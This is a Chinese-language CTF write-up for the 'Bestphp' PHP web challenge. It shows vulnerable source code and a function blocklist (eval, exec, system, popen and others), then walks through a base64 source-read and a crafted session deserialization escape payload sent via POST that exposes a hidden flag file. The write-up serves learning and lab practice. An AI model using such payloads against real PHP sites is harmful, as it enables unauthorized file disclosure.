Bestphp_Writeup

Bestphp_Writeup

题提供了index.php源码

<html>
<head>
<title>BabyPHP</title>
<meta charset="UTF-8">
</head>
<body>
<form action="#" method="post">
flag在fun中,去找找乐趣吧:<input type="text" name="name" />
<input type="submit" value="submit" />
</form>


</body>

</html>

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
if (strpos($file, 'function.php') === false) {
    echo '去找fun吧!!!';
    exit;
} else {
    include($file);
}
?>

通过阅读源码可知,可利用文件包含将 function.php 读取出来,单包含会将原文件解析,中就需要将源文件内容进行base64编码输出

得到

PD9waHAKZnVuY3Rpb24gZmlsdGVycygkZGF0YSl7Cglmb3JlYWNoKCRkYXRhIGFzICRrZXk9PiR2YWx1ZSl7CgkJaWYocHJlZ19tYXRjaCgnL2V2YWx8YXNzZXJ0fGV4ZWN8cGFzc3RocnV8Z2xvYnxzeXN0ZW18cG9wZW4vaScsJHZhbHVlKSl7CgkJCWRpZSgnRG8gbm90IGhhY2sgbWUhJyk7CgkJfQoJfQp9Ci8v5oGt5Zac5L2g5Y+R546w5LqGZmxhZzExMS5waHAKPz4=

最后得到 function.php 的内容

<?php
function filters($data){
	foreach($data as $key=>$value){
		if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
			die('Do not hack me!');
		}
	}
}
//恭喜你发现了flag111.php
?>

从提示中发现 flag111.php ,然后得到其源码

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
$var1 = @$_GET['v1'];

function filter_func($var2){
    $tr = array('flag','php5','fl1g','php','f1ag');
    $ter = '/'.implode('|',$tr).'/i';
    return preg_replace($ter,'',$var2);
}

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user_new"] = 'guest';
$_SESSION['function_new'] = $var1;

extract($_POST);

if(!$var1){
    echo '<a href="index.php?v1=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img_new'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img_new'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info_new = filter_func(serialize($_SESSION));

if($var1 == 'highlight_file'){
    highlight_file('index.php');
}
else if($var1 == 'show'){
    $userinfo_new = unserialize($serialize_info_new);
    highlight_file(base64_decode($userinfo_new['img_new']));
}
?>

同时在 .robots.txt 中发现还有一个文件 dozer_f1ag.php 猜测flag就在其中,这时就需要通过代码审计 flag111.php 来将 dozer_f1ag.php 包含出来

既然都能获取到 flag111.php 的内容了,那就在本地起一个php环境,构造 flag111.php 来进行调试然后得到正确的 payload

通过阅读源码
发现高危函数 extract(); ,通过 extract(); 为进行过滤就接收了 POST 数据,这时任何 POST 数据中的数组键名都会转换为变量名,数组键值转换为变量值。

如 POST 数据为 a="b" ,通过 extract(); 处理后 a 将成为一个局部变量保存到内存中,其值为 b

发现参数 $_SESSION 会进行序列化处理后在进行过滤后再反序列化才进行处理,这时就很容易产生由于过滤导致的序列化内容改变,然后在反序列化出的结果可能不在是原有的结果。

Payload
构造请求: /flag111.php?v1=show
构造 POST 数据:
_SESSION[phpflag]=;s:1:"1";s:7:"img_new";s:20:"ZG96ZXJfZjFhZy5waHA=";}

POST 的处理过程:

extract($_POST) ---> Array ( [phpflag] => ;s:1:"1";s:7:"img_new";s:20:"ZG96ZXJfZjFhZy5waHA=";} )

serialize($_SESSION) ---> a:2:{s:7:"phpflag";s:52:";s:1:"1";s:7:"img_new";s:20:"ZG96ZXJfZjFhZy5waHA=";}";s:7:"img_new";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

filter_func() ---> a:2:{s:7:"";s:52:";s:1:"1";s:7:"img_new";s:20:"ZG96ZXJfZjFhZy5waHA=";}";s:7:"img_new";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

filter_func() 会通过正则将 'flag','php5','fl1g','php','f1ag' 剔除,由此 s:7:"phpflag";s:52:";s:1:"1"; 会变成 s:7:"";s:52:";s:1:"1"; 反序列化后将会变成 [";s:52:] => 1 ,所以 phpflag 字符数和内容的构造是需要严格控制的,要能保证剔除字符后 ";s:52: 这 7 个字符要能和保留的字符数反序列拼接成一个字符串,

学习笔记/CTF/assets/Pasted image 20240429231004.png

学习笔记/CTF/assets/Pasted image 20240429230929.png

unserialize() ---> Array ( [";s:52:] => 1 [img_new] => ZG96ZXJfZjFhZy5waHA= )

学习笔记/CTF/assets/Pasted image 20240429173422.png

最终 dozer_f1ag.php 内容为

<?php 
$flag = 'Dozerctf{EeVmVFHJEOPK7gpvn9OhocCQ0IWQitsm}';
?> 

参考

BMZCTF:Bestphp_<7phphighlight_file(_file_);error_reporting(0);ini-CSDN博客

XCTF Final 2018 Web Writeup (Bestphp与PUBG详解) - 先知社区

CTF中的反序列化考点总结从0到1 - FreeBuf网络安全行业门户